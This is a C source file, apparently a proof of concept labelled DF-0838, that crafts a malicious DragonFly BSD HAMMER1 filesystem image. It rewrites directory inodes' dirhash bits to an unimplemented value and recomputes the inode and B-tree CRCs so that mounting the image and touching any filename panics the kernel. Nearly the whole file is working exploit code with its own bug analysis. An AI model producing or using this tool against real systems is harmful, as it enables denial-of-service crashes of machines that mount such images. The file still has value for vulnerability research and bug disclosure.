DF-0838 / image_patcher.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 | /* * DF-0838 — patch the HAMMER1 directory-inode cap_flags on-disk so the * low 2 bits (DIRHASH algorithm) become 0x02 (ALG2 / unimplemented), and * re-compute the leaf data_crc32 so the kernel still accepts the inode. * * Bug trigger (sys/vfs/hammer/hammer_subs.c:1026-1032): * switch (dip->ino_data.cap_flags & HAMMER_INODE_CAP_DIRHASH_MASK) { * case HAMMER_INODE_CAP_DIRHASH_ALG0: ... break; * case HAMMER_INODE_CAP_DIRHASH_ALG1: ... break; * case HAMMER_INODE_CAP_DIRHASH_ALG2: * case HAMMER_INODE_CAP_DIRHASH_ALG3: * default: hpanic("bad algorithm %p", dip); * } * * cap_flags is byte 65 of struct hammer_inode_data and is read verbatim * from disk at hammer_inode.c:525 — no semantic validation. Mount a * crafted image whose directory inode has bits[1:0] = 0x02 then any * filename operation panics. * * Disk layout reference: * sys/vfs/hammer/hammer_disk.h:880 struct hammer_inode_data (128 B) * sys/vfs/hammer/hammer_btree.h:170 struct hammer_btree_leaf_elm (64 B) * sys/vfs/hammer/hammer_crc.h:71 hammer_datacrc() = crc32 for v<=6 * HAMMER_INODE_CRCSIZE = 112 (covers bytes [0, offsetof(mtime))) * * Strategy: * 1. Locate directory inodes by signature (ver=1, mode=0o755, * obj_type=DIRECTORY) -- very low false-positive rate. * 2. For each one, change cap_flags bits[1:0] to 0x02 (ALG2). * 3. Compute new crc32 over the inode's first 112 bytes. * 4. Find the B-Tree leaf that holds the OLD crc (recognizable as a * 4-byte LE word preceded by data_len=128 == 0x80,0,0,0) and write * the NEW crc there. * * NOTE: This only handles HAMMER vol_version <= 6 (crc32). Format the * image with `newfs_hammer -V 6`. */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <inttypes.h> #include <sys/stat.h> #include <zlib.h> #define HAMMER_INODE_DATA_VERSION 1 #define HAMMER_OBJTYPE_DIRECTORY 1 /* hammer_disk.h:859 */ #define HAMMER_INODE_CRCSIZE 112 #define INODE_DATA_SIZE 128 static uint8_t *g_map = NULL; static off_t g_sz = 0; static int load_image(const char *path) { int fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return -1; } struct stat st; if (fstat(fd, &st) < 0) { perror("fstat"); close(fd); return -1; } g_sz = st.st_size; g_map = malloc(g_sz); if (!g_map) { fprintf(stderr, "malloc %lld failed\n", (long long)g_sz); close(fd); return -1; } off_t off = 0; while (off < g_sz) { ssize_t n = read(fd, g_map + off, g_sz - off); if (n < 0) { perror("read"); close(fd); return -1; } if (n == 0) break; off += n; } close(fd); fprintf(stderr, "loaded %lld bytes\n", (long long)off); return 0; } static int save_image(const char *path) { int fd = open(path, O_RDWR); if (fd < 0) { perror("open write"); return -1; } off_t off = 0; while (off < g_sz) { ssize_t n = write(fd, g_map + off, g_sz - off); if (n < 0) { perror("write"); close(fd); return -1; } off += n; } close(fd); fprintf(stderr, "wrote back %lld bytes\n", (long long)off); return 0; } static uint32_t hammer_inode_crc(const uint8_t *inode) { uLong c = crc32(0L, Z_NULL, 0); c = crc32(c, inode, HAMMER_INODE_CRCSIZE); return (uint32_t)c; } /* Recompute a B-Tree node's CRC after we changed one of its leaf elements. struct hammer_node_ondisk is 4096 bytes; crc is the first 4 bytes; CRC covers the remaining 4092 bytes (hammer_btree.h:247, hammer_crc.h:227). */ static void fixup_btree_node_crc(uint8_t *node_start) { uLong c = crc32(0L, Z_NULL, 0); c = crc32(c, node_start + 4, 4096 - 4); uint32_t newcrc = (uint32_t)c; node_start[0] = (uint8_t)(newcrc & 0xff); node_start[1] = (uint8_t)((newcrc >> 8) & 0xff); node_start[2] = (uint8_t)((newcrc >> 16) & 0xff); node_start[3] = (uint8_t)((newcrc >> 24) & 0xff); } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s <hammer-image>\n", argv[0]); return 2; } if (load_image(argv[1]) < 0) return 1; /* ver=1 + mode=0o755 signature: 01 00 ed 01 */ uint8_t sig[4] = { 0x01, 0x00, 0xed, 0x01 }; int patched = 0; for (off_t o = 0; o + INODE_DATA_SIZE <= g_sz; o++) { if (memcmp(g_map + o, sig, 4) != 0) continue; uint8_t objt = g_map[o + 64]; if (objt != HAMMER_OBJTYPE_DIRECTORY) continue; uint8_t cap = g_map[o + 65]; int64_t pobj = 0; for (int i = 0; i < 8; i++) pobj |= ((uint64_t)g_map[o+24+i]) << (8*i); uint64_t nlinks = 0; for (int i = 0; i < 8; i++) nlinks |= ((uint64_t)g_map[o+72+i]) << (8*i); printf("dir inode @ off=0x%08llx cap_flags=0x%02x" " parent_obj_id=0x%llx nlinks=%llu\n", (long long)o, cap, (long long)pobj, (unsigned long long)nlinks); if ((cap & 0x03) == 0x02 || (cap & 0x03) == 0x03) { printf(" -> already invalid alg, leaving\n"); continue; } uint32_t old_crc = hammer_inode_crc(g_map + o); uint8_t old_cap = cap; uint8_t new_cap = (uint8_t)((cap & ~0x03u) | 0x02u); /* -> ALG2 */ g_map[o + 65] = new_cap; uint32_t new_crc = hammer_inode_crc(g_map + o); printf(" PATCH cap_flags 0x%02x -> 0x%02x ; crc 0x%08x -> 0x%08x\n", old_cap, new_cap, old_crc, new_crc); /* Find leaf's data_crc field: 8-byte window with data_len=128 (0x80 0 0 0) followed by old_crc in LE. */ uint8_t want[8] = { 0x80, 0, 0, 0, (uint8_t)(old_crc & 0xff), (uint8_t)((old_crc >> 8) & 0xff), (uint8_t)((old_crc >> 16) & 0xff), (uint8_t)((old_crc >> 24) & 0xff), }; uint8_t newcrc[4] = { (uint8_t)(new_crc & 0xff), (uint8_t)((new_crc >> 8) & 0xff), (uint8_t)((new_crc >> 16) & 0xff), (uint8_t)((new_crc >> 24) & 0xff), }; int hits = 0; for (off_t c = 0; c + 8 <= g_sz; c++) { if (c >= o && c < o + INODE_DATA_SIZE) continue; if (memcmp(g_map + c, want, 8) == 0) { memcpy(g_map + c + 4, newcrc, 4); printf(" updated leaf data_crc @ off=0x%08llx", (long long)c); /* The leaf lives inside a 4 KiB B-Tree node; we just changed a byte inside it so the node's own CRC is now stale. */ off_t node_off = c & ~((off_t)4095); fixup_btree_node_crc(g_map + node_off); printf(" (re-crc'd node @ 0x%08llx)\n", (long long)node_off); hits++; } } if (hits == 0) fprintf(stderr, " WARNING: no leaf data_crc match (CRC will fail)\n"); patched++; } if (patched == 0) { fprintf(stderr, "no directory inode patched\n"); return 3; } if (save_image(argv[1]) < 0) return 1; printf("OK: patched %d directory inode(s)\n", patched); return 0; } |